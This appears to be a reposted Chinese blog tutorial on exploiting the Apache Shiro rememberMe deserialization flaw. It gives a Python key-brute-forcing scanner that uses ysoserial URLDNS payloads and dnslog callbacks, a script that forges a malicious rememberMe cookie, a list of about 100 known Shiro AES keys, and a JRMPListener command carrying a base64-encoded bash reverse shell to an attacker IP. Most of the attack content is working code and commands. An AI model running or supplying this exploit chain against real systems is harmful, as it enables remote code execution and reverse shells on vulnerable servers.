shiro反序列化复现


简介

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

漏洞影响

只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。

漏洞工具

一台公网服务器(带有java环境)

dns接收网站 http://www.dnslog.cn/

burp抓包神器

编辑bash网站:http://www.jackson-t.ca/runtime-exec-payloads.html

相应的脚本:

test.py(碰撞密钥)py3版本

import sys
from Crypto.Cipher import AES
import traceback
import requests
import subprocess
import uuid
import base64
import time


def scan(key, target, dns):
    target = target  # 扫描目标
    key = key  # 秘钥
    dns = dns  # 发送的dns

    info_key = base64.b64encode(key.encode('utf-8')).decode('utf-8')
    dns_key = 'http://'+info_key+'.'+dns  # 携带base64编码秘钥发送dns,获取执行成功的秘钥
    print(dns_key)
    #target = "http://localhost:8000/samples_web_war/"       扫描站点
    #cipher_key = "kPH+bIxk5D2deZiIxcaaaA=="               测试秘钥

    # 创建 rememberme的值
    popen = subprocess.Popen(
        ['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'URLDNS', dns_key], stdout=subprocess.PIPE)
    BS = AES.block_size
    def pad(s): return s + ((BS - len(s) % BS)
                            * chr(BS - len(s) % BS)).encode()

    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

    # 发送request
    try:
        r = requests.get(target,timeout=20, cookies={
            'rememberMe': base64_ciphertext.decode()})

        print("扫描目标:{0}   发送DNS域名:{1}    秘钥:{2}".format(target, dns, key))
    except:
        traceback.print_exc()


if __name__ == '__main__':
    f = open('shiro_key_100.txt', 'r')


    if(sys.argv[1]=='-h'):      #判断获取参数是否为-h
        print("使用方法:python3 test.py -f xxx.com -t xxx.dnslog.cn")
        exit(0)

    if(len(sys.argv)!=5):      #判断输入参数是否正确
        print("错误使用方法,详细查看-h")    
        exit(0)                            #退出程序

    target = sys.argv[2]             #扫描目标
    dns = sys.argv[4]                #发送dns

    while True:
        key = f.readline()

        if key:
            key = key.replace("\n","")
            scan(key,target,dns)         #依次发送秘钥
        else:
            break
    f.close()

shell.py(获取remember值)

# -*- coding: utf-8 -*-
import  sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    # 密钥使用检测成功的密钥
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #由上面的脚本成功碰撞成功过后修改这里)
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
print "rememberMe={0}".format(payload.decode())

shiro_key_100(100密钥)

4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
fCq+/xW488hMTCD+cmJ3aQ==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
1QWLxg+NYmxraMoxAXu/Iw==
25BsmdYwjnfcWmnhAciDDg==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
3JvYhmBLUs0ETA5Kprsdag==
r0e3c16IdVkouZgk1TKVMg==
5aaC5qKm5oqA5pyvAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
6ZmI6I2j5Y+R5aSn5ZOlAA==
cmVtZW1iZXJNZQAAAAAAAA==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag==
OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ==
bWljcm9zAAAAAAAAAAAAAA==
bWluZS1hc3NldC1rZXk6QQ==
kPH+bIxk5D2deZiIxcaaaA==
bXRvbnMAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
wGiHplamyXlVB11UXWol8g==
U3ByaW5nQmxhZGUAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
L7RioUULEFhRyxM7a2R/Yg==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
f/SY5TIve5WWzT4aQlABJA==
bya2HkYo57u6fWh5theAWw==
WuB+y2gcHRnY2Lg9+Aqmqg==
3qDVdLawoIr1xFd6ietnwg==
YI1+nBV//m7ELrIyDHm6DQ==
6Zm+6I2j5Y+R5aS+5ZOlAA==
2A2V+RFLUs+eTA3Kpr+dag==
6ZmI6I2j3Y+R1aSn5BOlAA==
SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw==
fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw==
sHdIjUN6tzhl8xZMG3ULCQ==
O4pdf+7e+mZe8NyxMTPJmQ==
HWrBltGvEZc14h9VpMvZWw==
rPNqM6uKFCyaL10AK51UkQ==
Y1JxNSPXVwMkyvES/kJGeQ==
lT2UvDUmQwewm6mMoiw4Ig==
MPdCMZ9urzEA50JDlDYYDg==
xVmmoltfpb8tTceuT5R7Bw==
c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw==
ZmFsYWRvLnh5ei5zaGlybw==
cGhyYWNrY3RmREUhfiMkZA==
IduElDUpDDXE677ZkhhKnQ==
yeAAo1E8BOeAYfBlm4NG9Q==
cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA==
XgGkgqGqYrix9lI6vxcrRw==
ertVhmFLUs0KTA3Kprsdag==
5AvVhmFLUS0ATA4Kprsdag==
s0KTA3mFLUprK4AvVhsdag==
hBlzKg78ajaZuTE0VLzDDg==
9FvVhtFLUs0KnA3Kprsdyg==
d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
4BvVhmFLUs0KTA3Kprsdag==
MzVeSkYyWTI2OFVLZjRzZg==
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Q01TX0JGTFlLRVlfMjAxOQ==
ZAvph3dsQs0FSL3SDFAdag==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==

 

 

 

 这个文件自己去百度下载吧。

 

下面开始测试

 第一步:抓取目标网站post包。

 

 


还有的是相应包有remember值的cookie;

第二步:用py3运行test.py脚本,查看是否有DNS返回,返回基本都有该漏洞; 

 

 

 打开http://www.dnslog.cn/获取一个子域名

 

 


在使用脚本:

成功运行,现在只需要看key能否碰到dns,若是碰到,基本就有该漏洞;
 

 

 

 
成功碰到,在去找对应的key值,写到shell.py里面就可以获取remember值;

 

 

用py2运行shell.py获取remember值;(需要修改里面的key值)
继续运行改脚本: 

 

 下面是攻击机:
制作反弹shell :bash -I >& /dev/tcp ip/端口 0>&1
http://www.jackson-t.ca/runtime-exec-payloads.html

 

 


在到攻击机上面运行。

在脚本目录下运行:
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 "bash -c {echo,YmFzaCAtSSA+JiAvZGV2L3RjcCAxMjMuNTYuMjYuMjM0LzY2NjYgMD4mMSA=}|{base64,-d}|{bash,-i}"

 

 

 在利用上面获取的remember值去burp改包发包:

 

 




攻击机(公网服务器):

 

 

执行成功了,但是这个是windows系统,所以没有反弹出来,linux是可以的。

因为时间原因,就不再继续深究windows怎么反弹出来,下次测试出来在发。

若大佬们知道和弟弟说说思路。

 

 

 

 

 

 

 

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM